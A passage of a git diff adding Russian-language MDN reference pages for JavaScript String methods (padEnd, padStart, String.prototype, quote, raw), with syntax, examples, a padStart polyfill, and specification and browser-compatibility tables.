+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.normalize', 'String.prototype.normalize')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome("34")}}</td>
+   <td>{{CompatGeckoDesktop("31")}}</td>
+   <td>{{CompatIE("11")}} на Windows 10 Preview</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome("34")}}</td>
+   <td>{{CompatNo}}<br>
+    {{bug("864843")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="http://www.unicode.org/reports/tr15/">Приложение №15 к стандарту Юникода: формы нормализации Юникода</a></li>
+ <li><a href="http://en.wikipedia.org/wiki/Unicode_equivalence">Эквивалентность в Юникоде</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/padend/index.html b/files/ru/web/javascript/reference/global_objects/string/padend/index.html
new file mode 100644
index 0000000000..31da2edad0
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/padend/index.html
@@ -0,0 +1,94 @@
+---
+title: String.prototype.padEnd()
+slug: Web/JavaScript/Reference/Global_Objects/String/padEnd
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/padEnd
+---
+<div>{{JSRef}}{{SeeCompatTable}}</div>
+
+<p>Метод <strong><code>padEnd()</code></strong> дополняет текущую строку с помощью заданной строки (в конечном счете повторяя), так чтобы результирующая строка достигла заданной длины. Дополнение применяется в конце (справа) текущей строки.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>str</var>.padEnd(<var>targetLength</var> [, <var>padString</var>])</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>targetLength</code></dt>
+ <dd>Длина результирующей строки, после того как текущая строка была дополнена. Если этот параметр меньше длины текущей строки, то будет возвращена текущая строка , как она есть.</dd>
+ <dt><code>padString</code> {{optional_inline}}</dt>
+ <dd>Строка для дополнения текущей строки с. Если эта строка слишком длинная, она будет урезана и будет применяться ее левая большая часть. " " (U+0020) - значение по умолчанию для этого параметра.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Строка указанной длинны дополненная с помощью дополнительной строки в конце текуще строки.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">'abc'.padEnd(10);         // "abc       "
+'abc'.padEnd(10, "foo");  // "abcfoofoof"
+'abc'.padEnd(6,"123456"); // "abc123"
+</pre>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<p>Этот метод еще не достиг стандарта ECMAScript. Сейчас он в состоянии <a href="https://github.com/tc39/proposal-string-pad-start-end">proposal for ECMAScript</a>.</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}} </td>
+   <td>{{CompatGeckoDesktop(48)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(48)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/javascript/reference/global_objects/string/padstart/index.html b/files/ru/web/javascript/reference/global_objects/string/padstart/index.html
new file mode 100644
index 0000000000..074516217d
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/padstart/index.html
@@ -0,0 +1,92 @@
+---
+title: String.prototype.padStart()
+slug: Web/JavaScript/Reference/Global_Objects/String/padStart
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/padStart
+---
+<div>{{JSRef}}{{SeeCompatTable}}</div>
+
+<p>Метод <strong><code>padStart()</code></strong> заполняет текущую строку другой строкой (несколько раз, если нужно) так, что итоговая строка достигает заданной длины. Заполнение осуществляется в начале (слева) текущей строки.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>str</var>.padStart(<var>targetLength</var> [, <var>padString</var>])</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>targetLength</code></dt>
+ <dd>Длина итоговой строки после дополнения текущей строки. Если значение меньше, чем длина текущей строки, текущая строка будет возвращена без изменений.</dd>
+ <dt><code>padString</code> {{optional_inline}}</dt>
+ <dd>Строка для заполнения текущей строки. Если эта строка слишком длинная для заданной длины, она будет обрезана. Значение по умолчанию - " " (U+0020).</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>{{jsxref("String")}} заданной длины с заполнением строкой, выполненное в начале.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">'abc'.padStart(10);         // "       abc"
+'abc'.padStart(10, "foo");  // "foofoofabc"
+'abc'.padStart(6,"123465"); // "123abc"
+'abc'.padStart(8, "0");     // "00000abc"
+'abc'.padStart(1);          // "abc"</pre>
+
+<h2 id="Полифил">Полифил</h2>
+
+<p>Запуск данного кода перед любым другим кодом будет создавать <code>String.prototype.padStart()</code>, если он нативно не поддерживается.</p>
+
+<pre class="brush: js">// https://github.com/uxitten/polyfill/blob/master/string.polyfill.js
+// https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/padStart
+if (!String.prototype.padStart) {
+    String.prototype.padStart = function padStart(targetLength,padString) {
+        targetLength = targetLength&gt;&gt;0; //floor if number or convert non-number to 0;
+        padString = String(padString || ' ');
+        if (this.length &gt; targetLength) {
+            return String(this);
+        }
+        else {
+            targetLength = targetLength-this.length;
+            if (targetLength &gt; padString.length) {
+                padString += padString.repeat(targetLength/padString.length); //append to original to ensure we are longer than needed
+            }
+            return padString.slice(0,targetLength) + String(this);
+        }
+    };
+}
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.padstart', 'String.prototype.padStart')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Initial definition in ECMAScript 2017.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.String.padStart")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.padEnd()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/prototype/index.html b/files/ru/web/javascript/reference/global_objects/string/prototype/index.html
new file mode 100644
index 0000000000..cecc7325a5
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/prototype/index.html
@@ -0,0 +1,229 @@
+---
+title: String.prototype
+slug: Web/JavaScript/Reference/Global_Objects/String/prototype
+tags:
+  - JavaScript
+  - Property
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String
+---
+<div>{{JSRef("Global_Objects", "String")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Свойство <strong><code>String.prototype</code></strong> представляет прототип объекта {{jsxref("Global_Objects/String", "String")}}.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Все объекты {{jsxref("Global_Objects/String", "String")}} наследуются от <code>String.prototype</code>. Изменения в прототипе объекта {{jsxref("Global_Objects/String", "String")}} распространяются на все его экземпляры.</p>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+
+<dl>
+ <dt><code>String.prototype.constructor</code></dt>
+ <dd>Определяет функцию, создающую прототип этого объекта.</dd>
+ <dt>{{jsxref("String.prototype.length")}}</dt>
+ <dd>Отражает длину строки.</dd>
+ <dt><code><em>N</em></code></dt>
+ <dd>Используется для доступа к символу в позиции <em>N</em>, где <em>N</em> — это целое число между 0 и длиной строки {{jsxref("String.length", "length")}} минус один. Эти свойства доступны только для чтения.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<h3 id="Methods_unrelated_to_HTML" name="Methods_unrelated_to_HTML">Методы, не относящиеся к HTML</h3>
+
+<dl>
+ <dt>{{jsxref("String.prototype.charAt()")}}</dt>
+ <dd>Возвращает символ по указанному индексу.</dd>
+ <dt>{{jsxref("String.prototype.charCodeAt()")}}</dt>
+ <dd>Возвращает число, представляющее значение символа в Юникоде по указанному индексу.</dd>
+ <dt>{{jsxref("String.prototype.codePointAt()")}} {{experimental_inline}}</dt>
+ <dd>Возвращает неотрицательное целое число, представляющее закодированную в UTF-16 кодовую точку значения по указанной позиции.</dd>
+ <dt>{{jsxref("String.prototype.concat()")}}</dt>
+ <dd>Объединяет текст двух строк и возвращает новую строку.</dd>
+ <dt>{{jsxref("String.prototype.includes()")}} {{experimental_inline}}</dt>
+ <dd>Определяет, находится ли строка внутри другой строки.</dd>
+ <dt>{{jsxref("String.prototype.endsWith()")}} {{experimental_inline}}</dt>
+ <dd>Определяет, заканчивается ли строка символами другой строки.</dd>
+ <dt>{{jsxref("String.prototype.indexOf()")}}</dt>
+ <dd>Возвращает индекс первого вхождения указанного значения в объекте {{jsxref("Global_Objects/String", "String")}}, на котором был вызван этот метод, или -1, если вхождений нет.</dd>
+ <dt>{{jsxref("String.prototype.lastIndexOf()")}}</dt>
+ <dd>Возвращает индекс последнего вхождения указанного значения в объекте {{jsxref("Global_Objects/String", "String")}}, на котором был вызван этот метод, или -1, если вхождений нет.</dd>
+ <dt>{{jsxref("String.prototype.localeCompare()")}}</dt>
+ <dd>Возвращает число, указывающее, находится ли образцовая строка до, после или на том же самом месте, что и указанная строка в порядке сортировки.</dd>
+ <dt>{{jsxref("String.prototype.match()")}}</dt>
+ <dd>Используется для сопоставления строке регулярного выражения.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("String.prototype.matchAll()")}}</dt>
+ <dd>Возвращает итератор по всем результатам при сопоставлении строки с регулярным выражением.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("String.prototype.normalize()")}} {{experimental_inline}}</dt>
+ <dd>Возвращает форму нормализации Юникода для строкового значения.</dd>
+ <dt><s class="obsoleteElement">{{jsxref("String.prototype.quote()")}} {{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement">Оборачивает строку в двойные кавычки ("<code>"</code>").</s></dd>
+ <dt>{{jsxref("String.prototype.repeat()")}} {{experimental_inline}}</dt>
+ <dd>Возвращает строку. состоящую из элементов объекта, повторённых указанное количество раз.</dd>
+ <dt>{{jsxref("String.prototype.replace()")}}</dt>
+ <dd>Используется для сопоставления строке регулярного выражения и для замены совпавшей подстроки на новую подстроку.</dd>
+ <dt>{{jsxref("String.prototype.search()")}}</dt>
+ <dd>Выполняет поиск совпадения регулярного выражения со строкой.</dd>
+ <dt>{{jsxref("String.prototype.slice()")}}</dt>
+ <dd>Извлекает часть строки и возвращает новую строку.</dd>
+ <dt>{{jsxref("String.prototype.split()")}}</dt>
+ <dd>Разбивает объект {{jsxref("Global_Objects/String", "String")}} на массив строк, разделёных указанной строкой на подстроки.</dd>
+ <dt>{{jsxref("String.prototype.startsWith()")}} {{experimental_inline}}</dt>
+ <dd>Определяет, начинается ли строка символами другой строки.</dd>
+ <dt>{{jsxref("String.prototype.substr()")}}</dt>
+ <dd>Возвращает указанное количество символов в строке, начинающихся с указанной позиции.</dd>
+ <dt>{{jsxref("String.prototype.substring()")}}</dt>
+ <dd>Возвращает символы в строке между двумя индексами.</dd>
+ <dt>{{jsxref("String.prototype.toLocaleLowerCase()")}}</dt>
+ <dd>Приводит символы в строке к нижнему регистру согласно текущей локали. Для большинства языков, метод делает то же самое, что и метод {{jsxref("String.prototype.toLowerCase()", "toLowerCase()")}}.</dd>
+ <dt>{{jsxref("String.prototype.toLocaleUpperCase()")}}</dt>
+ <dd>Приводит символы в строке к верхнему регистру согласно текущей локали. Для большинства языков, метод делает то же самое, что и метод {{jsxref("String.prototype.toUpperCase()", "toUpperCase()")}}.</dd>
+ <dt>{{jsxref("String.prototype.toLowerCase()")}}</dt>
+ <dd>Возвращает строковое значение с символами в нижнем регистре.</dd>
+ <dt>{{jsxref("String.prototype.toSource()")}} {{non-standard_inline}}</dt>
+ <dd>Возвращает литерал объекта, представляющий указанный объект; вы можете использовать это значениедля создания нового объекта. Переопределяет метод {{jsxref("Object.prototype.toSource()")}}.</dd>
+ <dt>{{jsxref("String.prototype.toString()")}}</dt>
+ <dd>Возвращает строковое представление указаного объекта. Переопределяет метод {{jsxref("Object.prototype.toString()")}}.</dd>
+ <dt>{{jsxref("String.prototype.toUpperCase()")}}</dt>
+ <dd>Возвращает строковое значение с символами в верхнем регистре.</dd>
+ <dt>{{jsxref("String.prototype.trim()")}}</dt>
+ <dd>Обрезает пробельные символы в начале и в конце строки. Часть стандарта ECMAScript 5.</dd>
+ <dt>{{jsxref("String.prototype.trimLeft()")}} {{non-standard_inline}}</dt>
+ <dd>Обрезает пробельные символы с левой стороны строки.</dd>
+ <dt>{{jsxref("String.prototype.trimRight()")}} {{non-standard_inline}}</dt>
+ <dd>Обрезает пробельные символы с правой стороны строки.</dd>
+ <dt>{{jsxref("String.prototype.valueOf()")}}</dt>
+ <dd>Возвращает примитивное значение указанного объекта. Переопределяет метод {{jsxref("Object.prototype.valueOf()")}}.</dd>
+ <dt>{{jsxref("String.prototype.@@iterator()", "String.prototype[@@iterator]()")}} {{experimental_inline}}</dt>
+ <dd>Возвращает новый объект итератора <code>Iterator</code>, который итерируется по кодовым точкам строки и возвращает каждую кодовую точку в виде строкового значения.</dd>
+</dl>
+
+<h3 id="HTML_wrapper_methods" name="HTML_wrapper_methods">Методы-обёртки HTML</h3>
+
+<p>Эти методы имеют ограниченное применение, поскольку они представляют только ограниченное подмножество доступных тегов и атрибутов HTML.</p>
+
+<dl>
+ <dt>{{jsxref("String.prototype.anchor()")}} {{deprecated_inline}}</dt>
+ <dd><code><a href="/ru/docs/Web/HTML/Element/a#attr-name">&lt;a name="<em>имя</em>"&gt;</a></code> (цель гипертекста)</dd>
+ <dt>{{jsxref("String.prototype.big()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("big")}}</dd>
+ <dt>{{jsxref("String.prototype.blink()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("blink")}}</dd>
+ <dt>{{jsxref("String.prototype.bold()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("b")}}</dd>
+ <dt>{{jsxref("String.prototype.fixed()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("tt")}}</dd>
+ <dt>{{jsxref("String.prototype.fontcolor()")}} {{deprecated_inline}}</dt>
+ <dd><a href="/ru/docs/Web/HTML/Element/font#attr-color"><code>&lt;font color="<em>цвет</em>"&gt;</code></a></dd>
+ <dt>{{jsxref("String.prototype.fontsize()")}} {{deprecated_inline}}</dt>
+ <dd><a href="/ru/docs/Web/HTML/Element/font#attr-size"><code>&lt;font size="<em>размер</em>"&gt;</code></a></dd>
+ <dt>{{jsxref("String.prototype.italics()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("i")}}</dd>
+ <dt>{{jsxref("String.prototype.link()")}} {{deprecated_inline}}</dt>
+ <dd><a href="/ru/docs/Web/HTML/Element/a#attr-href"><code>&lt;a href="<em>url</em>"&gt;</code></a> (ссылка на URL)</dd>
+ <dt>{{jsxref("String.prototype.small()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("small")}}</dd>
+ <dt>{{jsxref("String.prototype.strike()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("strike")}}</dd>
+ <dt>{{jsxref("String.prototype.sub()")}} {{deprecated_inline}}}</dt>
+ <dd>{{HTMLElement("sub")}}</dd>
+ <dt>{{jsxref("String.prototype.sup()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("sup")}}</dd>
+</dl>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.3.1', 'String.prototype')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype', 'String.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/String", "String")}}</li>
+ <li>{{jsxref("Function.prototype")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/quote/index.html b/files/ru/web/javascript/reference/global_objects/string/quote/index.html
new file mode 100644
index 0000000000..367f9f6eb7
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/quote/index.html
@@ -0,0 +1,124 @@
+---
+title: String.prototype.quote()
+slug: Web/JavaScript/Reference/Global_Objects/String/quote
+tags:
+  - JavaScript
+  - Method
+  - Obsolete
+  - Prototype
+  - Reference
+  - Référence(2)
+  - String
+translation_of: Archive/Web/JavaScript/String.quote
+---
+<div>{{obsolete_header("37")}}</div>
+
+<div>{{JSRef("Global_Objects", "String")}} {{non-standard_header}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Нестандартный метод <strong><code>quote()</code></strong> возвращает копию строки, заменяя различные специальные символы в строке их управляющими последовательностями и заключая результат в двойные кавычки (<code>"</code>).</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.quote()</code></pre>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<p>В таблице ниже метод <code>quote()</code> заменяет любые специальные символы и заключает строку в двойные кавычки. Также обратите внимание на третью колонку, в которой функция {{jsxref("Global_Objects/eval", "eval()")}} снова вычисляет управляющие последовательности.</p>
+
+<table class="fullwidth-table">
+ <thead>
+  <tr>
+   <th class="header" scope="col"><code>str</code></th>
+   <th class="header" scope="col"><code>str.quote()</code></th>
+   <th class="header" scope="col"><code>eval(str.quote())</code></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>Hello world!</code></td>
+   <td><code>"Hello world!"</code></td>
+   <td><code>Hello world!</code></td>
+  </tr>
+  <tr>
+   <td><code style="white-space: pre;">Hello<br>
+    world!</code></td>
+   <td><code>"Hello\n\tworld!"</code></td>
+   <td><code style="white-space: pre;">Hello<br>
+    world!</code></td>
+  </tr>
+  <tr>
+   <td><code>" \ — '</code></td>
+   <td><code>"\" \\ \u2014 '"</code></td>
+   <td><code>" \ — '</code></td>
+  </tr>
+  <tr>
+   <td><code>Привет, мир!</code></td>
+   <td><code>"\u041F\u0440\u0438\u0432\u0435\u0442, \u043C\u0438\u0440!"</code></td>
+   <td><code>Привет, мир!</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<p>Не является частью какого-либо стандарта. Реализована в JavaScript 1.3.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("JSON.stringify()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/raw/index.html b/files/ru/web/javascript/reference/global_objects/string/raw/index.html
new file mode 100644
index 0000000000..b6d9477108
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/raw/index.html
@@ -0,0 +1,153 @@
+---
+title: String.raw()
+slug: Web/JavaScript/Reference/Global_Objects/String/raw
+tags:
+  - ECMAScript6
+  - Experimental
+  - Expérimental(2)
+  - JavaScript
+  - Method
+  - Reference
+  - Référence(2)
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/raw
+---
+<div>{{JSRef("Global_Objects", "String")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Статический метод <strong><code>String.raw()</code></strong> является теговой функцией для <a href="/ru/docs/Web/JavaScript/Reference/template_strings">шаблонных строк</a>; подобно префиксу <code>r</code> в Python или префиксу <code>@</code> в C# для строковых литералов, эта функция используется для получения необработанной строки из шаблона.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>
+String.raw(<var>callSite</var>, <var>...substitutions</var>)
+
+String.raw`templateString`
+</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>callSite</code></dt>
+ <dd>Правильно сформированный объект вызова, например <code>{ raw: 'string' }</code>.</dd>
+ <dt><code>...substitutions</code></dt>
+ <dd>Значения подстановок.</dd>
+ <dt><code>templateString</code></dt>
+ <dd><a href="/ru/docs/Web/JavaScript/Reference/template_strings">Шаблонная строка</a>, возможно с подстановками (<code>${...}</code>).</dd>
+</dl>
+
+<h3 id="Throws" name="Throws">Выбрасываемые исключения</h3>
+
+<dl>
+ <dt>{{jsxref("Global_Objects/TypeError", "TypeError")}}</dt>
+ <dd>Если первый аргумент не является правильно сформированным объектом вызова, выбрасывается исключение {{jsxref("Global_Objects/TypeError", "TypeError")}}.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>В большинстве случаев метод <code>String.raw()</code> используется вместе с шаблонными строками. Первый синтаксис, показанный выше, используется редко, поскольку движок JavaScript будет вызывать метод с соответствующими аргументами, подобно другим <a href="/ru/docs/Web/JavaScript/Reference/template_strings#Tagged_template_strings">теговым функциям</a>.</p>
+
+<p>Метод <code>String.raw()</code> является единственной встроенной теговой функцией шаблонных строк, выступающей стандартной функцией по объединению их фрагментов. Вы и сами могли бы реализовать подобную функциональность на JavaScript.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_String.raw" name="Example:_String.raw">Пример: использование метода <code>String.raw()</code></h3>
+
+<pre class="brush: js">String.raw`Привет\n${2+3}!`;
+// 'Привет\n5!', символ после 'Привет' не является символом новой строки,
+// '\' и 'n' - это два символа.
+
+String.raw`Привет\u000A!`;
+// 'Привет\u000A!', а здесь мы получим символы
+//  \, u, 0, 0, 0, A, всего 6 символов.
+// Экранирующие символы не имеют особого значения и
+// обратные слеши будут присутствовать в выходной строке.
+// Вы можете убедиться в этом, проверив свойство .length строки.
+
+let name = 'Боб';
+String.raw`Привет\n${name}!`;
+// 'Привет\nБоб!', сработала подстановка.
+
+// Обычно вам не нужно вызывать метод String.raw() как функцию,
+// но никто не запрещает вам делать это:
+String.raw({ raw: 'тест' }, 0, 1, 2);
+// 'т0е1с2т'
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.raw', 'String.raw')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("34")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("34")}}</td>
